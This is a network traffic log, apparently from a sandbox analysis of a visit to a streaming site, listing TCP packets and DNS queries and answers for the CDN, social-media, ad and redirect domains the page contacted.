Oct 15, 2024 00:39:48.253994942 CEST	49736	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.254033089 CEST	443	49736	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.254091978 CEST	49736	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.254282951 CEST	49736	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.254300117 CEST	443	49736	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.254745007 CEST	49737	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.254766941 CEST	443	49737	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.254843950 CEST	49737	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.255542040 CEST	49737	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.255556107 CEST	443	49737	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.256078005 CEST	49738	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.256095886 CEST	443	49738	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.256160021 CEST	49738	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.256314039 CEST	49738	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.256325960 CEST	443	49738	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.267641068 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.268007994 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.270327091 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.270441055 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.270474911 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.271738052 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.271748066 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.277215004 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.279746056 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.279753923 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.281558037 CEST	49740	443	192.168.2.6	142.250.185.105
Oct 15, 2024 00:39:48.281586885 CEST	443	49740	142.250.185.105	192.168.2.6
Oct 15, 2024 00:39:48.281742096 CEST	49741	443	192.168.2.6	142.250.185.105
Oct 15, 2024 00:39:48.281752110 CEST	49740	443	192.168.2.6	142.250.185.105
Oct 15, 2024 00:39:48.281768084 CEST	443	49741	142.250.185.105	192.168.2.6
Oct 15, 2024 00:39:48.281990051 CEST	49742	443	192.168.2.6	142.250.185.105
Oct 15, 2024 00:39:48.281997919 CEST	443	49742	142.250.185.105	192.168.2.6
Oct 15, 2024 00:39:48.282018900 CEST	49741	443	192.168.2.6	142.250.185.105
Oct 15, 2024 00:39:48.282043934 CEST	49742	443	192.168.2.6	142.250.185.105
Oct 15, 2024 00:39:48.283072948 CEST	49740	443	192.168.2.6	142.250.185.105
Oct 15, 2024 00:39:48.283090115 CEST	443	49740	142.250.185.105	192.168.2.6
Oct 15, 2024 00:39:48.283543110 CEST	49741	443	192.168.2.6	142.250.185.105
Oct 15, 2024 00:39:48.283555984 CEST	443	49741	142.250.185.105	192.168.2.6
Oct 15, 2024 00:39:48.283803940 CEST	49742	443	192.168.2.6	142.250.185.105
Oct 15, 2024 00:39:48.283813953 CEST	443	49742	142.250.185.105	192.168.2.6
Oct 15, 2024 00:39:48.283890009 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.283953905 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.283962965 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.285685062 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.285726070 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.285779953 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.291055918 CEST	49743	443	192.168.2.6	139.45.197.242
Oct 15, 2024 00:39:48.291071892 CEST	443	49743	139.45.197.242	192.168.2.6
Oct 15, 2024 00:39:48.291768074 CEST	49743	443	192.168.2.6	139.45.197.242
Oct 15, 2024 00:39:48.291945934 CEST	49743	443	192.168.2.6	139.45.197.242
Oct 15, 2024 00:39:48.291960001 CEST	443	49743	139.45.197.242	192.168.2.6
Oct 15, 2024 00:39:48.292741060 CEST	49744	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.292763948 CEST	443	49744	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.295731068 CEST	49744	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.295891047 CEST	49744	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.295905113 CEST	443	49744	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.311180115 CEST	49722	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:48.355408907 CEST	443	49722	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:48.445960999 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.445997953 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.446085930 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.446099043 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.448940992 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.449008942 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.449022055 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.492645025 CEST	443	49722	188.114.96.3	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 15, 2024 00:39:45.532001019 CEST	192.168.2.6	1.1.1.1	0x79a8	Standard query (0)	www.mycimalive.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:45.532344103 CEST	192.168.2.6	1.1.1.1	0xca6e	Standard query (0)	www.mycimalive.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:47.176155090 CEST	192.168.2.6	1.1.1.1	0xf271	Standard query (0)	blogger.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:47.176369905 CEST	192.168.2.6	1.1.1.1	0xc35f	Standard query (0)	blogger.googleusercontent.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:47.977034092 CEST	192.168.2.6	1.1.1.1	0x9008	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:47.977267027 CEST	192.168.2.6	1.1.1.1	0x1b43	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:48.108251095 CEST	192.168.2.6	1.1.1.1	0x2484	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.108396053 CEST	192.168.2.6	1.1.1.1	0x4468	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:48.255122900 CEST	192.168.2.6	1.1.1.1	0x791a	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.255423069 CEST	192.168.2.6	1.1.1.1	0xdc1e	Standard query (0)	www.blogger.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:48.257656097 CEST	192.168.2.6	1.1.1.1	0xca3f	Standard query (0)	glakraptaidsupi.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.257843018 CEST	192.168.2.6	1.1.1.1	0xf630	Standard query (0)	glakraptaidsupi.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:48.649518967 CEST	192.168.2.6	1.1.1.1	0x52e	Standard query (0)	sqsq2938.blogspot.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.649651051 CEST	192.168.2.6	1.1.1.1	0x8a84	Standard query (0)	sqsq2938.blogspot.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:48.650849104 CEST	192.168.2.6	1.1.1.1	0xeceb	Standard query (0)	blogger.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.651338100 CEST	192.168.2.6	1.1.1.1	0xea41	Standard query (0)	blogger.googleusercontent.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:48.813003063 CEST	192.168.2.6	1.1.1.1	0x3a7a	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:48.813139915 CEST	192.168.2.6	1.1.1.1	0xb22f	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:49.045526981 CEST	192.168.2.6	1.1.1.1	0x861	Standard query (0)	blogger.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:49.045663118 CEST	192.168.2.6	1.1.1.1	0x2a09	Standard query (0)	blogger.googleusercontent.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:49.056632996 CEST	192.168.2.6	1.1.1.1	0xf2ab	Standard query (0)	www.mycimalive.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:49.056766033 CEST	192.168.2.6	1.1.1.1	0x3e3f	Standard query (0)	www.mycimalive.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:49.928440094 CEST	192.168.2.6	1.1.1.1	0x6ca7	Standard query (0)	oughoaghushouru.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:49.928610086 CEST	192.168.2.6	1.1.1.1	0x3064	Standard query (0)	oughoaghushouru.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.049555063 CEST	192.168.2.6	1.1.1.1	0x8602	Standard query (0)	oughoaghushouru.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.049784899 CEST	192.168.2.6	1.1.1.1	0xe3d5	Standard query (0)	oughoaghushouru.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.119196892 CEST	192.168.2.6	1.1.1.1	0xccb7	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.119371891 CEST	192.168.2.6	1.1.1.1	0xa51e	Standard query (0)	www.blogger.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.119924068 CEST	192.168.2.6	1.1.1.1	0x2fc1	Standard query (0)	1.bp.blogspot.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.120224953 CEST	192.168.2.6	1.1.1.1	0xcffe	Standard query (0)	1.bp.blogspot.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.120744944 CEST	192.168.2.6	1.1.1.1	0xc597	Standard query (0)	player.vimeo.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.120969057 CEST	192.168.2.6	1.1.1.1	0xdd20	Standard query (0)	player.vimeo.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.135651112 CEST	192.168.2.6	1.1.1.1	0x6588	Standard query (0)	bytogeticr.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.135950089 CEST	192.168.2.6	1.1.1.1	0x3b20	Standard query (0)	bytogeticr.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.164892912 CEST	192.168.2.6	1.1.1.1	0x239b	Standard query (0)	syndication.twitter.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.165981054 CEST	192.168.2.6	1.1.1.1	0x4bfe	Standard query (0)	syndication.twitter.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.195781946 CEST	192.168.2.6	1.1.1.1	0x15de	Standard query (0)	static.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.195843935 CEST	192.168.2.6	1.1.1.1	0x3d5f	Standard query (0)	static.xx.fbcdn.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.307626009 CEST	192.168.2.6	1.1.1.1	0xd8fb	Standard query (0)	www.googletagservices.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.310837030 CEST	192.168.2.6	1.1.1.1	0x6948	Standard query (0)	www.googletagservices.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.419898033 CEST	192.168.2.6	1.1.1.1	0x860e	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.420538902 CEST	192.168.2.6	1.1.1.1	0x48e5	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.533955097 CEST	192.168.2.6	1.1.1.1	0xb07b	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.534212112 CEST	192.168.2.6	1.1.1.1	0xa3de	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.645343065 CEST	192.168.2.6	1.1.1.1	0xd009	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.645623922 CEST	192.168.2.6	1.1.1.1	0x1eca	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.647614002 CEST	192.168.2.6	1.1.1.1	0x2986	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.648116112 CEST	192.168.2.6	1.1.1.1	0x8c7e	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.874209881 CEST	192.168.2.6	1.1.1.1	0x475	Standard query (0)	platform.twitter.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.874679089 CEST	192.168.2.6	1.1.1.1	0x3ed4	Standard query (0)	platform.twitter.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.924880981 CEST	192.168.2.6	1.1.1.1	0xc68f	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.930378914 CEST	192.168.2.6	1.1.1.1	0x5fe0	Standard query (0)	github.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.931910992 CEST	192.168.2.6	1.1.1.1	0x2fa2	Standard query (0)	feeds.feedburner.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.932375908 CEST	192.168.2.6	1.1.1.1	0xdd48	Standard query (0)	feeds.feedburner.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.934369087 CEST	192.168.2.6	1.1.1.1	0xfca6	Standard query (0)	www.linkedin.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.934369087 CEST	192.168.2.6	1.1.1.1	0x21e3	Standard query (0)	www.linkedin.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.949634075 CEST	192.168.2.6	1.1.1.1	0xab2d	Standard query (0)	www.pinterest.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.949990034 CEST	192.168.2.6	1.1.1.1	0xad37	Standard query (0)	www.pinterest.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.954003096 CEST	192.168.2.6	1.1.1.1	0x56b4	Standard query (0)	feedburner.google.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.954179049 CEST	192.168.2.6	1.1.1.1	0xc810	Standard query (0)	feedburner.google.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.954509020 CEST	192.168.2.6	1.1.1.1	0x21ef	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.954567909 CEST	192.168.2.6	1.1.1.1	0x7145	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.971329927 CEST	192.168.2.6	1.1.1.1	0x1133	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.971708059 CEST	192.168.2.6	1.1.1.1	0x55f2	Standard query (0)	twitter.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.984564066 CEST	192.168.2.6	1.1.1.1	0xe262	Standard query (0)	plus.google.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.985239983 CEST	192.168.2.6	1.1.1.1	0x952b	Standard query (0)	plus.google.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.986526012 CEST	192.168.2.6	1.1.1.1	0x3d20	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.986922979 CEST	192.168.2.6	1.1.1.1	0x7aaa	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:50.991830111 CEST	192.168.2.6	1.1.1.1	0x99b3	Standard query (0)	resources.blogblog.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:50.991938114 CEST	192.168.2.6	1.1.1.1	0x7910	Standard query (0)	resources.blogblog.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.009285927 CEST	192.168.2.6	1.1.1.1	0x87cf	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.009586096 CEST	192.168.2.6	1.1.1.1	0xa76	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.011677980 CEST	192.168.2.6	1.1.1.1	0x7095	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.011825085 CEST	192.168.2.6	1.1.1.1	0x7b92	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.028989077 CEST	192.168.2.6	1.1.1.1	0x30e7	Standard query (0)	2.bp.blogspot.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.028989077 CEST	192.168.2.6	1.1.1.1	0x85ac	Standard query (0)	2.bp.blogspot.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.116628885 CEST	192.168.2.6	1.1.1.1	0x9b27	Standard query (0)	4.bp.blogspot.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.116770983 CEST	192.168.2.6	1.1.1.1	0x6c21	Standard query (0)	4.bp.blogspot.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.140860081 CEST	192.168.2.6	1.1.1.1	0x749d	Standard query (0)	sr7pv7n5x.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.140860081 CEST	192.168.2.6	1.1.1.1	0x164e	Standard query (0)	sr7pv7n5x.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.142508984 CEST	192.168.2.6	1.1.1.1	0xd232	Standard query (0)	yonmewon.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.142616034 CEST	192.168.2.6	1.1.1.1	0xe713	Standard query (0)	yonmewon.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.166965961 CEST	192.168.2.6	1.1.1.1	0xbb54	Standard query (0)	my.rtmark.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.167056084 CEST	192.168.2.6	1.1.1.1	0x1852	Standard query (0)	my.rtmark.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.167927980 CEST	192.168.2.6	1.1.1.1	0xe276	Standard query (0)	3.bp.blogspot.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.168145895 CEST	192.168.2.6	1.1.1.1	0x9ff4	Standard query (0)	3.bp.blogspot.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.205140114 CEST	192.168.2.6	1.1.1.1	0x4c18	Standard query (0)	28.2bp.blogspot.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.205318928 CEST	192.168.2.6	1.1.1.1	0xbadf	Standard query (0)	28.2bp.blogspot.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.213085890 CEST	192.168.2.6	1.1.1.1	0x39f0	Standard query (0)	yonmewon.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.214795113 CEST	192.168.2.6	1.1.1.1	0xcc74	Standard query (0)	yonmewon.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.228166103 CEST	192.168.2.6	1.1.1.1	0x46c	Standard query (0)	my.rtmark.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.228482962 CEST	192.168.2.6	1.1.1.1	0x3e0	Standard query (0)	my.rtmark.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.764307976 CEST	192.168.2.6	1.1.1.1	0x3754	Standard query (0)	glakraptaidsupi.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.764923096 CEST	192.168.2.6	1.1.1.1	0xda31	Standard query (0)	glakraptaidsupi.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.766143084 CEST	192.168.2.6	1.1.1.1	0x3b76	Standard query (0)	www.blogger.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.766449928 CEST	192.168.2.6	1.1.1.1	0x99aa	Standard query (0)	www.blogger.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:51.781933069 CEST	192.168.2.6	1.1.1.1	0xed4	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:51.782104015 CEST	192.168.2.6	1.1.1.1	0xf3f0	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:52.872201920 CEST	192.168.2.6	1.1.1.1	0x9bfe	Standard query (0)	raw.github.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:52.872771025 CEST	192.168.2.6	1.1.1.1	0x8394	Standard query (0)	raw.github.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:53.086884022 CEST	192.168.2.6	1.1.1.1	0x700d	Standard query (0)	accompanimentrealistic.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.087414026 CEST	192.168.2.6	1.1.1.1	0xca5c	Standard query (0)	accompanimentrealistic.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:53.305452108 CEST	192.168.2.6	1.1.1.1	0x88f5	Standard query (0)	oughoaghushouru.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.305752993 CEST	192.168.2.6	1.1.1.1	0x96e	Standard query (0)	oughoaghushouru.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:53.332370996 CEST	192.168.2.6	1.1.1.1	0x63a6	Standard query (0)	phaivusaido.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.332719088 CEST	192.168.2.6	1.1.1.1	0x4731	Standard query (0)	phaivusaido.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:53.334939957 CEST	192.168.2.6	1.1.1.1	0xf05b	Standard query (0)	bytogeticr.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.335424900 CEST	192.168.2.6	1.1.1.1	0x2998	Standard query (0)	bytogeticr.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:53.561167955 CEST	192.168.2.6	1.1.1.1	0xca27	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:53.561288118 CEST	192.168.2.6	1.1.1.1	0x12b0	Standard query (0)	raw.githubusercontent.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:54.710086107 CEST	192.168.2.6	1.1.1.1	0xdb43	Standard query (0)	my.rtmark.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:54.710743904 CEST	192.168.2.6	1.1.1.1	0x635	Standard query (0)	my.rtmark.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:55.404578924 CEST	192.168.2.6	1.1.1.1	0x4cd8	Standard query (0)	phicmune.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:55.404748917 CEST	192.168.2.6	1.1.1.1	0xe129	Standard query (0)	phicmune.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:55.728590012 CEST	192.168.2.6	1.1.1.1	0x34a6	Standard query (0)	glakraptaidsupi.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:55.728616953 CEST	192.168.2.6	1.1.1.1	0x11f2	Standard query (0)	glakraptaidsupi.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:56.423903942 CEST	192.168.2.6	1.1.1.1	0x3384	Standard query (0)	vk.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.424478054 CEST	192.168.2.6	1.1.1.1	0x9bf0	Standard query (0)	vk.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:56.428823948 CEST	192.168.2.6	1.1.1.1	0x87ec	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:56.429225922 CEST	192.168.2.6	1.1.1.1	0x2111	Standard query (0)	raw.githubusercontent.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:57.474258900 CEST	192.168.2.6	1.1.1.1	0xcab4	Standard query (0)	my.rtmark.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:57.474833965 CEST	192.168.2.6	1.1.1.1	0x9656	Standard query (0)	my.rtmark.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:57.510021925 CEST	192.168.2.6	1.1.1.1	0x83d7	Standard query (0)	phaivusaido.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:57.510170937 CEST	192.168.2.6	1.1.1.1	0x78c4	Standard query (0)	phaivusaido.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:57.510972023 CEST	192.168.2.6	1.1.1.1	0xd38b	Standard query (0)	phicmune.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:57.511388063 CEST	192.168.2.6	1.1.1.1	0x6bf9	Standard query (0)	phicmune.net	65	IN (0x0001)	false
Oct 15, 2024 00:39:57.868495941 CEST	192.168.2.6	1.1.1.1	0xcbff	Standard query (0)	st6-20.vk.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:57.868765116 CEST	192.168.2.6	1.1.1.1	0xd6e0	Standard query (0)	st6-20.vk.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:58.505300045 CEST	192.168.2.6	1.1.1.1	0xf83c	Standard query (0)	sqsq2938.blogspot.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:58.505472898 CEST	192.168.2.6	1.1.1.1	0xa6a6	Standard query (0)	sqsq2938.blogspot.com	65	IN (0x0001)	false
Oct 15, 2024 00:39:58.974663019 CEST	192.168.2.6	1.1.1.1	0x3b9b	Standard query (0)	oughoaghushouru.net	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:58.974849939 CEST	192.168.2.6	1.1.1.1	0x60d7	Standard query (0)	oughoaghushouru.net	65	IN (0x0001)	false
Oct 15, 2024 00:40:00.375159979 CEST	192.168.2.6	1.1.1.1	0x9360	Standard query (0)	yonmewon.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:00.375159979 CEST	192.168.2.6	1.1.1.1	0xdbe4	Standard query (0)	yonmewon.com	65	IN (0x0001)	false
Oct 15, 2024 00:40:00.376488924 CEST	192.168.2.6	1.1.1.1	0xbdca	Standard query (0)	sr7pv7n5x.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:00.376642942 CEST	192.168.2.6	1.1.1.1	0x1f43	Standard query (0)	sr7pv7n5x.com	65	IN (0x0001)	false
Oct 15, 2024 00:40:01.208796978 CEST	192.168.2.6	1.1.1.1	0x5317	Standard query (0)	vk.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:01.209026098 CEST	192.168.2.6	1.1.1.1	0x6739	Standard query (0)	vk.com	65	IN (0x0001)	false
Oct 15, 2024 00:40:03.144342899 CEST	192.168.2.6	1.1.1.1	0x8bf	Standard query (0)	st6-20.vk.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:03.144737959 CEST	192.168.2.6	1.1.1.1	0x6b51	Standard query (0)	st6-20.vk.com	65	IN (0x0001)	false
Oct 15, 2024 00:40:10.983403921 CEST	192.168.2.6	1.1.1.1	0x40e8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:10.984101057 CEST	192.168.2.6	1.1.1.1	0x1bbc	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 15, 2024 00:40:51.348438025 CEST	192.168.2.6	1.1.1.1	0x8a7e	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:40:51.349060059 CEST	192.168.2.6	1.1.1.1	0xfba	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 15, 2024 00:39:45.577249050 CEST	1.1.1.1	192.168.2.6	0xca6e	No error (0)	www.mycimalive.com			65	IN (0x0001)	false
Oct 15, 2024 00:39:45.718905926 CEST	1.1.1.1	192.168.2.6	0x79a8	No error (0)	www.mycimalive.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:45.718905926 CEST	1.1.1.1	192.168.2.6	0x79a8	No error (0)	www.mycimalive.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 15, 2024 00:39:47.194122076 CEST	1.1.1.1	192.168.2.6	0xf271	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 15, 2024 00:39:47.194122076 CEST	1.1.1.1	192.168.2.6	0xf271	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.161	A (IP address)	IN (0x0001)	false
